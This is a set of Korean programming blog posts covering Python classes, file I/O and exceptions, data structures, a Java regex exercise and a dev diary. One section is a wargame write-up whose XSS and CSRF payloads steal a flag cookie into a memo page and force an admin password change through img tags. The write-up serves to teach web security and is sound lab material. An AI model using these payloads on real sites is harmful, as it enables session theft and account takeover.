데이터 변환은 함수만으로 충분할 수 있다. def normalize_email( email, ): return ( email .strip() .lower() ) 이 기능 하나를 위해 굳이 클래스를 만들 필요는 없다. 클래스는 다음 상황에서 특히 도움이 된다. 함께 움직이는 상태와 기능이 있다. 동일한 구조의 객체를 여러 개 생성해야 한다. 객체별 상태를 유지해야 한다. 구현을 상속하거나 교체해야 한다. 도메인 개념을 코드로 명확하게 표현하고 싶다. 실전 예제: 주문 객체 class Order: tax_rate = 0.1 def __init__( self, order_id, prices, ): self.order_id = ( order_id ) self.prices = prices def subtotal(self): return sum( self.prices ) def tax(self): return ( self.subtotal() * self.tax_rate ) def total(self): return ( self.subtotal() + self.tax() ) def __str__(self): return ( f"Order(" f"id={self.order_id}, " f"total=" f"{self.total():,.0f}원" f")" ) order = Order( order_id=101, prices=[ 12000, 25000, 8000, ], ) print(order.subtotal()) print(order.tax()) print(order.total()) print(order) 객체 내부에 주문 데이터와 계산 책임을 함께 둘 수 있다. 객체지향 설계에서 기억할 점 클래스가 커진다고 무조건 좋은 것은 아니다. 다음 신호가 보인다면 책임을 다시 나눌 필요가 있다. 메서드가 지나치게 많다. 한 클래스가 DB, API, 이메일, 계산을 모두 담당한다. 클래스 이름을 명확하게 설명하기 어렵다. 특정 메서드가 클래스의 대부분 상태를 사용하지 않는다. 객체지향의 목적은 클래스를 많이 만드는 것이 아니라 관련된 책임을 이해하기 좋은 단위로 묶는 것 이다. 핵심 정리 클래스는 데이터와 기능을 함께 표현할 수 있는 사용자 정의 타입이다. 클래스로 만든 실제 객체를 인스턴스라고 한다. self 는 현재 메서드를 호출한 인스턴스를 가리킨다. __init__() 은 인스턴스를 만들 때 초기 상태를 설정한다. 인스턴스 변수는 객체마다 독립적이고 클래스 변수는 인스턴스들이 공유한다. 상속을 이용하면 공통 기능을 재사용하고 자식 클래스에서 동작을 확장하거나 재정의할 수 있다. __str__ , __len__ , __getitem__ 같은 특수 메서드를 구현하면 Python 내장 문법과 연결할 수 있다. 간단한 문제라면 함수만으로 충분하며, 객체지향은 상태와 기능을 함께 모델링할 필요가 있을 때 사용하면 된다.
문제 내가 생각했을때 문제에서 원하는부분 문자열 my_string이 매개변수로 주어집니다. my_string은 소문자, 대문자, 자연수로만 구성되어있습니다. my_string안의 자연수들의 합을 return하도록 solution 함수를 완성해주세요. 내가 이 문제를 보고 생각해본 부분 정규식 패턴 생성하기: Pattern.compile("\\d+")는 하나 이상의 숫자가 연속되는 규칙을 정의하다. pattern.matcher(my_string)은 전달받은 문자열에서 해당 규칙을 검색할 준비를 하다. 숫자 추출 및 누적하기: while (matcher.find()) 반복문은 문자열 전체를 탐색하며 규칙에 일치하는 숫자를 추출하다. Integer.parseInt(matcher.group())은 찾아낸 문자열 숫자를 정수형으로 변환하다. 변환된 정수 값을 answer 변수에 계속해서 합산하다. 결과 반환하기: 반복이 완료되면 모든 숫자의 합이 담긴 answer를 리턴하다. 테스트 실행하기: main 메서드에서 예시 데이터를 활용해 결과가 잘 출력되는지 확인하다. 코드로 구현 import java.util.regex.Pattern; import java.util.regex.Matcher; class Solution { public int solution(String my_string) { int answer = 0; Pattern pattern = Pattern.compile("\\d+"); Matcher matcher = pattern.matcher(my_string); while (matcher.find()) { answer += Integer.parseInt(matcher.group()); } return answer; } } 프로그래머스 코드 package programmers.programmers2; import java.util.regex.Pattern; import java.util.regex.Matcher; // 프로그래머스 숨어있는 숫자의 덧셈 (2) public class Main158 { public static int solution(String my_string) { int answer = 0; Pattern pattern = Pattern.compile("\\d+"); Matcher matcher = pattern.matcher(my_string); while (matcher.find()) { answer += Integer.parseInt(matcher.group()); } return answer; } public static void main(String[] args) { // 테스트 케이스 확인용 코드 String testStr1 = "aAb1B2cC34oOp"; String testStr2 = "1a2b3c4d123Z"; System.out.println(solution(testStr1)); // 예상 결과: 37 System.out.println(solution(testStr2)); // 예상 결과: 133 } } 위에 있는 코드를 변경한 코드 마무리 코드와 설명이 부족할수 있습니다. 코드를 보시고 문제가 있거나 코드 개선이 필요한 부분이 있다면 댓글로 말해주시면 감사한 마음으로 참고해 코드를 수정 하겠습니다.
프로그램은 혼자 동작하지 않는다. 사용자에게 값을 입력받고, 파일을 읽고 저장하며, 예상하지 못한 상황에서는 오류를 처리해야 한다. 이 글에서는 Python 3 기준으로 다음 내용을 정리한다. input() 과 print() 파일 읽기와 쓰기 UTF-8과 문자열 JSON과 pickle try-except else , finally raise with 사용자 입력 input() 터미널에서 사용자에게 값을 입력받을 때 input() 을 사용할 수 있다. name = input( "이름을 입력하세요: " ) print( f"안녕하세요, " f"{name}님." ) input() 의 반환값은 항상 문자열이다. age = input("나이: ") print(type(age)) <class 'str'> 숫자로 사용하려면 변환이 필요하다. age = int( input("나이: ") ) print(age + 1) 숫자가 아닌 값을 입력하면 ValueError 가 발생할 수 있다. 출력 print() name = "kim" score = 92 print(name) print(score) 여러 값: print( name, score, ) 구분자 변경: print( "python", "sql", "api", sep=" | ", ) 줄바꿈 대신 다른 문자열: print( "loading", end="...", ) print("done") f-string 출력 user = "kim" score = 92.345 print( f"{user}: " f"{score:.1f}점" ) 천 단위 쉼표: price = 1234567 print( f"{price:,}원" ) 파일 쓰기 기본적인 파일 쓰기는 open() 으로 할 수 있다. file = open( "result.txt", "w", encoding="utf-8", ) file.write( "Python 파일 저장 테스트" ) file.close() 하지만 직접 close() 를 호출하는 방식보다는 with 문을 사용하는 편이 안전하다. with open() 을 사용하는 이유 with open( "result.txt", "w", encoding="utf-8", ) as file: file.write( "Python 파일 저장 테스트" ) 블록을 빠져나오면 파일이 자동으로 닫힌다. 예외가 발생하더라도 자원 정리가 보장되기 쉬워진다. 파일 모드 모드 의미 "r" 읽기 "w" 새로 쓰기, 기존 내용 덮어쓰기 "a" 기존 내용 뒤에 추가 "x" 파일이 없을 때 새 파일 생성 "b" 바이너리 모드 "t" 텍스트 모드 텍스트 파일 읽기 전체 읽기: with open( "result.txt", "r", encoding="utf-8", ) as file: content = file.read() print(content) 한 줄씩 읽기 큰 파일은 전체를 한꺼번에 읽지 않고 줄 단위로 처리하는 편이 좋다. with open( "access.log", "r", encoding="utf-8", ) as file: for line in file: print( line.rstrip() ) 로그 분석에서 자주 볼 수 있는 패턴이다. pathlib 로 파일 다루기 경로를 문자열로만 다루기보다 pathlib.Path 를 활용하면 편한 경우가 많다. from pathlib import Path path = ( Path("data") / "users.txt" ) 파일 읽기: content = path.read_text( encoding="utf-8" ) 파일 쓰기: path.write_text( "hello", encoding="utf-8", ) UTF-8과 문자열 Python 3의 str 은 Unicode 문자열이다. message = "안녕하세요 👋" print(type(message)) <class 'str'> 파일이나 네트워크 경계에서는 문자열을 어떤 바이트 형식으로 저장할지 결정해야 한다. 텍스트 파일을 읽고 쓸 때는 인코딩을 명시하는 습관이 좋다. with open( "message.txt", "w", encoding="utf-8", ) as file: file.write( "안녕하세요" ) 문자열과 바이트 문자열: text = "Python" 인코딩: data = text.encode( "utf-8" ) print(data) b'Python' 디코딩: restored = data.decode( "utf-8" ) 네트워크 통신과 바이너리 파일을 다룰 때 str 과 bytes 의 차이를 이해해야 한다. JSON 파일 저장 웹 서비스와 데이터 처리에서는 JSON을 자주 사용한다. import json user = { "name": "kim", "age": 30, } 쓰기: with open( "user.json", "w", encoding="utf-8", ) as file: json.dump( user, file, ensure_ascii=False, indent=4, ) 읽기: with open( "user.json", "r", encoding="utf-8", ) as file: user = json.load(file) ensure_ascii=False 를 사용하면 한글이 읽기 좋은 형태로 저장된다. pickle Python 객체를 그대로 직렬화하고 복원할 때 pickle 을 사용할 수 있다. import pickle data = { "name": "kim", "skills": [ "python", "sql", ], } 쓰기: with open( "user.pkl", "wb", ) as file: pickle.dump( data, file, ) 읽기: with open( "user.pkl", "rb", ) as file: restored = ( pickle.load(file) ) 신뢰할 수 없는 pickle 파일은 열지 말자 pickle 은 단순 데이터 포맷이 아니다. 역직렬화 과정에서 코드 실행으로 이어질 수 있으므로 인터넷에서 받은 파일이나 사용자 업로드처럼 출처를 신뢰할 수 없는 pickle 데이터를 pickle.load() 로 열면 안 된다. 외부 시스템과 데이터를 교환할 때는 JSON 같은 형식을 우선 고려하는 편이 안전하다. 문법 오류와 실행 중 예외 문법 자체가 잘못된 경우: if True print("hello") SyntaxError 가 발생한다. 문법은 맞지만 실행 중 문제가 생길 수도 있다. number = int("hello") 이 경우 ValueError 가 발생한다. 이런 실행 중 예외 상황을 try-except 로 처리할 수 있다. try-except try: age = int( input("나이: ") ) except ValueError: print( "숫자를 입력해야 합니다." ) 오류 가능성이 있는 코드는 try 에 두고, 처리 가능한 예외는 except 에서 지정한다. 예외 객체 확인하기 try: number = int("abc") except ValueError as error: print(error) 예외 객체에는 문제를 파악하는 데 도움이 되는 정보가 들어 있다. 여러 예외 처리 try: value = input( "숫자: " ) number = int(value) print( 100 / number ) except ValueError: print( "정수를 입력해 주세요." ) except ZeroDivisionError: print( "0으로 나눌 수 없습니다." ) 처리할 수 있는 구체적인 예외를 지정하는 것이 좋다. 여러 예외를 한 번에 처리 try: ... except ( ValueError, TypeError, ) as error: print(error) else 예외가 발생하지 않았을 때만 실행된다. try: number = int( input("숫자: ") ) except ValueError: print("잘못된 입력") else: print( f"정상 입력: " f"{number}" ) 성공 경로를 try 블록 밖으로 분리할 수 있다. finally 예외 발생 여부와 관계없이 실행해야 할 코드를 둔다. try: print("작업 시작") except Exception: print("오류 처리") finally: print("정리 작업") 파일 같은 자원은 보통 with 를 사용하는 편이 더 간결하다. raise 프로그램이 직접 예외를 발생시켜야 할 때 사용한다. def withdraw( balance, amount, ): if amount <= 0: raise ValueError( "출금 금액은 " "0보다 커야 합니다." ) if amount > balance: raise ValueError( "잔액이 부족합니다." ) return ( balance - amount ) 호출: try: balance = withdraw( 10000, 15000, ) except ValueError as error: print(error) 사용자 정의 예외 도메인 의미를 더 명확하게 표현할 수 있다. class InsufficientBalanceError( Exception ): pass def withdraw( balance, amount, ): if amount > balance: raise ( InsufficientBalanceError( "잔액이 부족합니다." ) ) return ( balance - amount ) 예외를 다시 발생시키기 로그만 남기고 상위 코드가 계속 처리하도록 할 수도 있다. try: ... except ValueError: print( "입력 처리 실패" ) raise raise 만 작성하면 현재 예외를 다시 발생시킨다. 파일 처리에서 만나는 예외 from pathlib import Path path = Path( "config.json" ) try: content = path.read_text( encoding="utf-8" ) except FileNotFoundError: print( "설정 파일이 없습니다." ) 파일 작업에서 자주 만나는 예외: FileNotFoundError PermissionError UnicodeDecodeError OSError EAFP 스타일 Python에서는 먼저 모든 조건을 검사하기보다 일단 실행하고 문제가 생기면 예외를 처리하는 스타일 을 자주 볼 수 있다. 예: try: name = user["name"] except KeyError: name = "unknown" 반대로 먼저 검사할 수도 있다. if "name" in user: name = user["name"] else: name = "unknown" 상황에 따라 더 읽기 쉬운 방식을 선택하면 된다. 실전 예제: JSON 설정 읽기 import json from pathlib import Path CONFIG_PATH = Path( "config.json" ) def load_config(): try: content = ( CONFIG_PATH .read_text( encoding="utf-8" ) ) return json.loads( content ) except FileNotFoundError: print( "config.json 파일이 " "없습니다." ) return {} except ( json.JSONDecodeError ) as error: print( f"JSON 형식 오류: " f"{error}" ) return {} 사용: config = load_config() api_url = config.get( "api_url", "http://localhost:8000", ) print(api_url) 이 예제에는 파일 읽기, UTF-8, JSON 파싱, 예외 처리, 기본값 사용이 함께 들어 있다. 피하고 싶은 예외 처리 패턴 오류를 조용히 무시하기 try: ... except: pass 문제가 발생했다는 사실 자체가 사라져 디버깅이 어려워진다. 지나치게 넓은 try try: # 서로 다른 작업 수십 줄 ... except ValueError: ... 어디서 문제가 발생했는지 파악하기 어려울 수 있다. 가능하면 예외 가능성이 있는 범위를 좁게 잡는 편이 좋다. 핵심 정리 Python 3에서 사용자 입력은 input() 으로 받고 결과는 문자열이다. 파일 작업에는 with open(..., encoding="utf-8") 패턴이 안전하고 읽기 쉽다. Python 3의 str 은 Unicode 문자열이며 파일과 네트워크 경계에서는 인코딩을 이해해야 한다. pickle 은 편리하지만 신뢰할 수 없는 데이터를 역직렬화하면 위험할 수 있다. try-except 는 실행 중 발생할 수 있는 예외를 처리한다. else 는 예외가 없을 때, finally 는 예외 여부와 관계없이 실행된다. raise 를 사용하면 프로그램 규칙 위반을 명시적인 예외로 표현할 수 있다. 예외는 가능한 한 구체적으로 처리하고 오류를 조용히 삼키지 않는 것이 좋다.
프로그램에서는 값을 하나씩 저장하는 것보다 여러 데이터를 어떤 구조로 묶고 다룰지 가 더 중요해지는 순간이 많다. 사용자 목록, 주문 내역, API 응답, 로그, 태그처럼 실제 데이터는 대부분 여러 값의 집합으로 표현된다. Python에서 가장 자주 사용하는 기본 자료구조는 다음 네 가지다. list tuple dict set 이 글에서는 각 자료구조의 특징과 함께 인덱싱, 슬라이싱, 참조, 복사, 문자열 메서드, 컴프리헨션까지 정리한다. 자료구조를 선택하는 기준 자료구조 순서 수정 중복 대표 용도 list 있음 가능 가능 사용자 목록, 로그 tuple 있음 불가 가능 좌표, 고정 값 묶음 dict 삽입 순서 유지 가능 키 중복 불가 API 데이터, 객체 정보 set 순서를 전제로 하지 않음 가능 불가 태그, 권한, 중복 제거 처음에는 이 정도 기준만 알아도 대부분의 상황에서 적절한 자료구조를 고를 수 있다. 리스트 list 리스트는 여러 값을 순서대로 저장하는 자료구조다. users = ["kim", "lee", "park"] 인덱스는 0 부터 시작한다. print(users[0]) print(users[1]) kim lee 리스트에 값 추가하기 users = ["kim", "lee"] users.append("park") print(users) 여러 값을 추가할 때는 extend() 를 사용할 수 있다. users.extend(["choi", "jung"]) 특정 위치에 삽입: users.insert(1, "han") 값 삭제하기 값으로 삭제: users.remove("lee") 인덱스로 삭제: del users[0] 삭제하면서 값을 가져오기: removed_user = users.pop() 리스트 정렬 원본 리스트 자체를 정렬하는 sort() : scores = [80, 95, 70, 88] scores.sort() print(scores) 새 리스트를 반환하는 sorted() : scores = [80, 95, 70, 88] sorted_scores = sorted(scores) print(scores) print(sorted_scores) 원본을 보존해야 한다면 두 방식의 차이를 이해해야 한다. 튜플 tuple 튜플은 리스트처럼 순서를 가지지만 생성 후 항목을 수정할 수 없다. position = (37.5, 127.0) latitude = position[0] longitude = position[1] 튜플 언패킹 position = (37.5, 127.0) latitude, longitude = position 함수에서 여러 값을 반환할 때도 자주 사용된다. def get_min_max(): return 10, 100 minimum, maximum = get_min_max() 한 개짜리 튜플 괄호보다 쉼표가 중요하다. value = (10,) 다음은 튜플이 아니라 정수다. value = (10) 딕셔너리 dict 딕셔너리는 키와 값의 연결 관계 를 저장한다. user = { "id": 101, "name": "kim", "role": "admin", } 값 조회: print(user["name"]) 값 추가: user["age"] = 30 값 수정: user["role"] = "editor" 존재하지 않는 키와 get() 다음 코드는 키가 없으면 KeyError 를 발생시킨다. user["email"] 값이 없을 가능성이 있다면 get() 이 편리하다. email = user.get("email") print(email) 기본값도 지정할 수 있다. email = user.get( "email", "등록되지 않음", ) 딕셔너리 반복 키와 값을 함께 순회: for key, value in user.items(): print(key, value) 키만: for key in user.keys(): print(key) 값만: for value in user.values(): print(value) JSON과 딕셔너리 웹 API에서 받은 JSON 객체는 Python에서 보통 딕셔너리와 리스트의 조합으로 변환된다. response_data = { "status": "success", "users": [ { "id": 1, "name": "kim", }, { "id": 2, "name": "lee", }, ], } 사용자 이름 출력: for user in response_data["users"]: print(user["name"]) 데이터 분석이나 API 개발을 공부한다면 list 와 dict 조합에 익숙해지는 것이 특히 중요하다. 집합 set 집합은 중복되지 않는 값을 저장한다. tags = { "python", "api", "python", "backend", } print(tags) "python" 은 한 번만 남는다. 리스트에서 중복 제거 user_ids = [1, 1, 2, 3, 3, 4] unique_ids = set(user_ids) print(unique_ids) 단, 집합을 사용할 때는 원래 순서를 보존하기 위한 자료구조로 생각하면 안 된다. 집합 연산 admin_permissions = { "read", "write", "delete", } editor_permissions = { "read", "write", } 교집합: print( admin_permissions & editor_permissions ) 합집합: print( admin_permissions | editor_permissions ) 차집합: print( admin_permissions - editor_permissions ) 부분집합 검사: print( editor_permissions.issubset( admin_permissions ) ) 권한, 태그, 카테고리처럼 포함 관계가 중요한 데이터에 잘 맞는다. 인덱싱 리스트, 튜플, 문자열처럼 순서가 있는 객체는 인덱스로 접근할 수 있다. users = ["kim", "lee", "park"] print(users[0]) print(users[-1]) -1 은 마지막 항목이다. print(users[-2]) 뒤에서 두 번째 항목을 의미한다. 슬라이싱 일부분을 잘라낼 때 사용한다. numbers = [0, 1, 2, 3, 4, 5] print(numbers[1:4]) [1, 2, 3] 끝 인덱스는 포함되지 않는다. 시작과 끝 생략 numbers[:3] numbers[3:] 스텝: numbers[::2] 역순: numbers[::-1] 문자열에도 동일하게 적용된다. text = "python" print(text[::-1]) nohtyp in 과 not in roles = ["user", "editor", "admin"] print("admin" in roles) print("guest" not in roles) 문자열에서도 사용할 수 있다. url = "/api/users" if "/api/" in url: print("API 요청") 변수는 객체의 참조를 가진다 다음 코드를 보자. original = [ "python", "sql", ] copied = original copied.append("ai") print(original) print(copied) 결과: ['python', 'sql', 'ai'] ['python', 'sql', 'ai'] copied = original 은 새로운 리스트를 생성한 것이 아니다. 두 변수가 같은 리스트 객체를 가리킨다. 얕은 복사 별도의 리스트를 만들고 싶다면 복사가 필요하다. original = [ "python", "sql", ] copied = original.copy() copied.append("ai") print(original) print(copied) 결과: ['python', 'sql'] ['python', 'sql', 'ai'] 슬라이싱으로도 얕은 복사를 만들 수 있다. copied = original[:] 중첩 객체와 깊은 복사 얕은 복사는 바깥 컨테이너만 새로 만든다. original = [ {"name": "kim"}, {"name": "lee"}, ] copied = original.copy() copied[0]["name"] = "park" print(original) 원본 내부 딕셔너리도 변경된다. 완전히 독립된 중첩 구조가 필요하다면 deepcopy() 를 사용할 수 있다. import copy copied = copy.deepcopy(original) 문자열 메서드 문자열도 객체이기 때문에 다양한 메서드를 제공한다. text = " Python API Tutorial " 앞뒤 공백 제거: text.strip() 대문자: text.upper() 소문자: text.lower() 시작 문자열 검사: text.strip().startswith("Python") find() 와 in 문자열에 특정 값이 있는지만 확인하려면 in 이 읽기 쉬운 경우가 많다. url = "/api/users" if "/api/" in url: print("API 경로") 위치를 찾아야 한다면 find() 를 사용할 수 있다. index = url.find("users") 찾지 못하면 -1 을 반환한다. join() 과 split() 여러 문자열 연결: skills = [ "python", "sql", "fastapi", ] text = ", ".join(skills) print(text) python, sql, fastapi 문자열 분리: skills = text.split(", ") 리스트 컴프리헨션 반복문으로 새 리스트를 만드는 패턴을 간결하게 표현할 수 있다. 일반 반복문: numbers = [1, 2, 3, 4] squares = [] for number in numbers: squares.append( number ** 2 ) 컴프리헨션: squares = [ number ** 2 for number in numbers ] 조건이 포함된 리스트 컴프리헨션 짝수만 제곱: numbers = [ 1, 2, 3, 4, 5, 6, ] result = [ number ** 2 for number in numbers if number % 2 == 0 ] print(result) [4, 16, 36] 조건과 변환이 너무 복잡해지면 일반 반복문이 더 읽기 쉽다. 딕셔너리 컴프리헨션 users = [ "kim", "lee", "park", ] length_by_user = { user: len(user) for user in users } 집합 컴프리헨션 values = [ 1, 1, 2, 3, 3, ] squares = { value ** 2 for value in values } 중복은 자동 제거된다. 어떤 자료구조를 선택해야 할까? 순서가 있고 값이 자주 바뀐다 logs = [] → list 값 묶음이 고정되어야 한다 rgb = ( 255, 120, 80, ) → tuple 이름을 통해 값을 찾는다 user = { "id": 1, "name": "kim", } → dict 중복 제거와 집합 관계가 중요하다 permissions = { "read", "write", } → set 실전 예제: 사용자 행동 로그 집계 logs = [ { "user_id": 1, "action": "login", }, { "user_id": 2, "action": "view", }, { "user_id": 1, "action": "purchase", }, { "user_id": 3, "action": "login", }, { "user_id": 2, "action": "view", }, ] 활동 사용자와 행동별 횟수를 집계해보자. active_users = set() action_count = {} for log in logs: active_users.add( log["user_id"] ) action = log["action"] action_count[action] = ( action_count.get( action, 0, ) + 1 ) print(active_users) print(action_count) 여기서는 자료구조의 역할이 분명하다. 로그 전체 → list 로그 한 건 → dict 중복 없는 사용자 → set 행동별 집계 → dict 자료구조는 결국 데이터를 앞으로 어떻게 사용할지 에 따라 선택한다. 핵심 정리 list 는 순서가 있고 수정 가능한 데이터 묶음이다. tuple 은 순서가 있지만 수정할 수 없어 고정된 값을 표현하기 좋다. dict 는 키를 이용해 값을 조회하는 구조에 적합하다. set 은 중복 제거와 집합 연산에 강하다. 인덱스는 0 부터 시작하며 음수 인덱스로 뒤에서 접근할 수 있다. 슬라이싱은 시퀀스 일부를 간결하게 추출하는 기능이다. a = b 는 컬렉션을 복사하는 것이 아니라 같은 객체를 참조하게 만들 수 있다. 컴프리헨션은 간단한 컬렉션 변환을 짧고 읽기 좋게 표현할 수 있다.
문제 1. XSS-1 서버 코드 핵심 @app.route("/vuln") def vuln(): param = request.args.get("param", "") return param @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' memo_text = "" @app.route("/memo") def memo(): global memo_text text = request.args.get("memo", "") memo_text += text + "\n" return render_template("memo.html", memo=memo_text) 취약점 분석 /flag에서 스크립트가 막혀있지 않아, HTML의 script 태그로 flag를 memo에 출력되도록 만들 수 있다. 공격 시나리오 flag창에 접속한다 <script>location='/memo?memo='+document.cookie</script> HTML코드로 document.cookie를 memo로 출력되도록 한다 핵심 포인트 /flag에서 스크립트 태그가 사용가능함을 알 수 있어, HTML로 document.cookie의 위치를 다른곳으로 출력 할 수 있도록 한다. 문제 2. CSRF-1 서버 코드 핵심 @app.route("/") def index(): return render_template("index.html") @app.route("/vuln") def vuln(): param = request.args.get("param", "").lower() xss_filter = ["frame", "script", "on"] for _ in xss_filter: param = param.replace(_, "*") return param @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "GET": return render_template("flag.html") elif request.method == "POST": param = request.form.get("param", "") if not check_csrf(param): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' memo_text = "" @app.route("/memo") def memo(): global memo_text text = request.args.get("memo", None) if text: memo_text += text return render_template("memo.html", memo=memo_text) @app.route("/admin/notice_flag") def admin_notice_flag(): global memo_text if request.remote_addr != "127.0.0.1": return "Access Denied" if request.args.get("userid", "") != "admin": return "Access Denied 2" memo_text += f"[Notice] flag is {FLAG}\n" return "Ok" 취약점 분석 frame, script, on 이 필터링되어있다. userid가 admin이라면 memo에 flag를 출력한다. 다른 태그로 userid를 바꿔 줄 수 있다. 공격 시나리오 /flag에 들어간다 img 태그로 userid를 admin으로 변경한다. 핵심 포인트 script 태그가 막혀있어 img 태그를 대신 사용하여 <img src="/admin/notice_flag?userid=admin">를 넣어 /admin/notice_flag의 userid를 admin으로 바꿔준다. 문제 3. XSS-2 — Stored XSS로 쿠키 탈취 서버 코드 핵심 @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "POST": param = request.form.get("param") if not check_xss(param, {"name": "flag", "value": FLAG.strip()}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' memo_text = "" @app.route("/memo") def memo(): global memo_text text = request.args.get("memo", "") memo_text += text + "\n" return render_template("memo.html", memo=memo_text) 취약점 분석 /flag에 POST 요청을 보내면, 서버는 헤드리스 브라우저 봇을 띄워서 flag쿠키를 심어준 뒤 {내가 보낸 값}을 방문시킨다. /vuln 페이지는 param을 이스케이프 없이 그대로 HTML에 반영하기 때문에 XSS가 그대로 실행된다. /memo는 GET 파라미터로 받은 텍스트를 전역 변수에 계속 누적 저장하는 엔드포인트이다. 공격 시나리오 /flag의 param 입력창에 아래 payload 제출 <img src=x onerror="fetch('/memo?memo='+document.cookie)"> fetch()가 document.cookie(flag 포함)를 /memo로 전송 하여memo_text에 저장됨 브라우저에서 직접 /memo접속하여 저장된 flag 확인 핵심 포인트 필터링이 전혀 없는 순수 XSS였고, flag가 포함된 document.cookie를 memo에 저장하면 flag를 얻을 수 있다. 문제 4. CSRF-2 — 필터 우회 + 강제 비밀번호 변경 서버 코드 핵심 users = {'guest': 'guest', 'admin': FLAG} session_storage = {} @app.route("/vuln") def vuln(): param = request.args.get("param", "").lower() xss_filter = ["frame", "script", "on"] for _ in xss_filter: param = param.replace(_, "*") return param @app.route("/flag", methods=["GET", "POST"]) def flag(): if request.method == "POST": param = request.form.get("param", "") session_id = os.urandom(16).hex() session_storage[session_id] = 'admin' if not check_csrf(param, {"name":"sessionid", "value": session_id}): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' @app.route("/change_password") def change_password(): pw = request.args.get("pw", "") session_id = request.cookies.get('sessionid', None) try: username = session_storage[session_id] except KeyError: return render_template('index.html', text='please login') users[username] = pw return 'Done' 취약점 분석 /change_password는 CSRF 방어가 전혀 없고, 로그인된 세션이면 누구든 자신의 비밀번호를 임의의 값으로 변경 가능했다. /vuln은 frame, script, on 문자열을 *로 치환하는 필터가 있지만, img태그로 우회가 가능하다 공격 시나리오 /flag의 param 입력창에 아래 payload 제출 <img src="/change_password?pw=iamthebestunifox"> 봇이 해당 쿠키를 들고 /vuln?param=... 방문 브라우저가 HTML로 렌더링하며 <img> 태그가 /change_password?pw=iamthebestunifox으로 요청함 /login에서 admin / iamthebestunifox으로 로그인 Hello admin, flag is {FLAG} 확인 핵심 포인트 script나 다른 태그들은 막혀있어도 img 태그로 우회하여 html을 실행시킬 수 있어, 봇이 html로 랜더링하여 실행시킬 수 있다. 두 문제의 공통 패턴 정리 구분 XSS-2 CSRF-2 취약점 유형 XSS CSRF (필터 우회) 필터링 없음 frame , script , on 치환 우회 방법 불필요 <img src="..."> 로 우회 탈취 대상 쿠키(flag 값) admin 비밀번호 변경 권한 유출 채널 same-origin /memo 저장소 없음 (직접 계정 탈취) 최종 목표 /memo 에서 쿠키 확인 admin 로그인 후 flag 직접 확인
오늘 한 것 최종 프로젝트(1) 오늘 배운 점 & 느낀 점 오늘 배운 점은 서버가 결과를 한꺼번에 보내도 클라에서 인게임 패킷을 하나의 큐에 쌓고 연출이 끝난 뒤 다음 패킷을 처리하면 턴 흐름이 꼬이지 않고, 입력 잠금은 패킷이 도착할 때가 아니라 큐에서 처리될 때 바꿔야 한다는 것을 배웠다. 아쉬웠던 점은 폴더 이름을 오타로 git add가 통째로 실패했고, 유니티가 자동으로 바꾼 설정·폰트 파일과 아이템 파트의 ItemType 이름 충돌 때문에 커밋 전에 정리할 게 많았다. 내일도 이어서 해볼 점은 GameFlowDirector의 연출을 옮긴 GameFlowPresenter를 GameStateTest 씬에서 가짜 서버로 플레이해 보며 카메라 전환, 발사, 체력 표시가 서버 결과대로 나오는지 확인해봐야겠다. 내일 할일 Spring 심화(3) 최종 프로젝트 복습